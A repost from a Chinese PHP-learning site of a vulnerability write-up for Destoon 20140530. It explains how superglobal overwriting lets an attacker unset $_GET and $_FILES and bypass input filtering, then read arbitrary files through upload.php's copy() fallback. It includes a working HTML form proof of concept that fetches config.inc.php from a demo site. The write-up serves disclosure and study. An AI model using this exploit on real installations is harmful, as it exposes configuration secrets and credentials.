网站地图    收藏   

主页 > 后端 > 网站安全 >

Destoon 20140530最新版超全局变量覆盖导致的安全问

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 短时间没找到合适的注入 找了个任意文件读取发上来了代码片段0x1 common inc php行17foreach(array( 39;_POST 39;, 39;_GET 39;, 39;_COOKIE 39;) as $__R) {if($$__R) { foreach($$__R as...

短时间没找到合适的注入 找了个任意文件读取发上来了
 
代码片段
0x1 /common.inc.php行17
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {

if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } }

}

 

 
 
这里的逻辑是 如果 post get cookie 请求中的$$key和$value相等 就unset掉$$key
 
如果我们向1.php?x=1提交一个POST请求 内容为_GET[x]=1
 
因为?x=1 所以$_GET内容为 array('x'=>'1')
 
当开始遍历$_POST的时候 $__k是_GET[x] 所以$$__k 就是$_GET[x]也就是array('x'=>'1')
 
$__v是POST上来的一个数组 内容也是array('x'=>'1')
 
$$__k == $__v成立所以 我们的超全局变量 $_GET就这么华丽丽的被unset了
 
 
 
代码片段0x2 /common.inc.php行65
 
if($_POST) { $_POST = strip_sql($_POST); strip_key($_POST); }

if($_GET) { $_GET = strip_sql($_GET); strip_key($_GET); }

if($_COOKIE) { $_COOKIE = strip_sql($_COOKIE); strip_key($_COOKIE); }

if(!IN_ADMIN) {

$BANIP = cache_read('banip.php');

if($BANIP) banip($BANIP);

$destoon_task = '';

}

if($_POST) extract($_POST, EXTR_SKIP);

if($_GET) extract($_GET, EXTR_SKIP);

 

 
 
由于我们的$_GET已经在前面被unset了 所以即使加了EXTR_SKIP extract($_POST)仍然能够正常的初始化$_GET extract($_GET)的值就成功绕过了全局的strip_sql 和strip_key函数的检查。
 
 
 
 
 
短时间没有找到合适的注入点,却发现了另外一个问题
 
其实不光光是$_GET,$_FILES也是可以覆盖的。
 
 
 
$_FILES的覆盖比$_GET要稍微复杂一些,因为$_FILES初始值是array()且只在有文件上传的时候才会重新初始化
 
因为上面判断是$$__k == $__v而能跟array() ==的只有null、false和array()很明显这些我们都无法用get post或者cookie提交上去
 
如果我们真的上传了一个文件 那$_FILES[file][tmp_name]又是一个未知量 所以 这里我把上传的包改了 删掉了filename 
 
这样上传就会出错,$_FILES就会被初始化成
 
array(

'name'=>'',

'type'=>'',

'size'=>0,

'tmp_name'=>'',

'error'=>4

)

 

 
 
这个数组我们就可以伪造了,伪造一个相同的数组之后,$_FILES就被unset了 我们就能用$_POST 或者$_GET来重新初始化它
 
来看下利用的地方:
 
代码片段0x3 /upload.php行66
 
$do = new upload($_FILES, $uploaddir);

省略部分…………

if($do->save()) {

 

 
 
可以看到$_FILES直接丢给了upload类 然后直接save了
 
代码片段0x4 /include/upload.class.php行43
 
function save() {

//前面的都不关心

if(!move_uploaded_file($this->file, DT_ROOT.'/'.$this->saveto) && !copy($this->file, DT_ROOT.'/'.$this->saveto))

//后面的也不关心

}

 

 
这里除了用到move_uploaded_file外 还尝试了copy
 
我们知道 move_uploaded_file是会检查第一个参数的 如果不是合法的上传文件就会返回false
 
而copy就简单粗暴的多了 不管你是哪的 直接给你拷贝过去
 
$this->file其实就是$_FILES[file][tmp_name] 而这个值现在是可以自己构造的了,所以这里就可以读取任意文件了
 
POC如下:
 
<form enctype="multipart/form-data" action="http://demo.destoon.com/v5.0/upload.php?from=file&_FILES[file][name]=&_FILES[file][type]=&_FILES[file][size]=0&_FILES[file][tmp_name]=&_FILES[file][error]=4" method="POST">

<input type="hidden" name="_FILES[file][name]" value = "1.rar">

<input type="hidden" name="_FILES[file][type]" value = "rar">

<input type="hidden" name="_FILES[file][size]" value = "0">

<input type="hidden" name="_FILES[file][tmp_name]" value = "config.inc.php">

<input type="hidden" name="_FILES[file][error]" value = "4">

<input name="file" type="file" />

<input type="submit" value="POST" />

</form>

 

 
 
这里用$_GET配合上传unset了$_FILES然后在extract($_POST)的时候重新初始化了$_FILES
 
随便选个文件提交拦下数据包 修改
 
Content-Disposition: form-data; name="file"; filename=""
 
中的filename字段为空 如图就返回了我们要读取的文件了

修复方案:
第一个foreach一直没明白是干嘛的。。。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论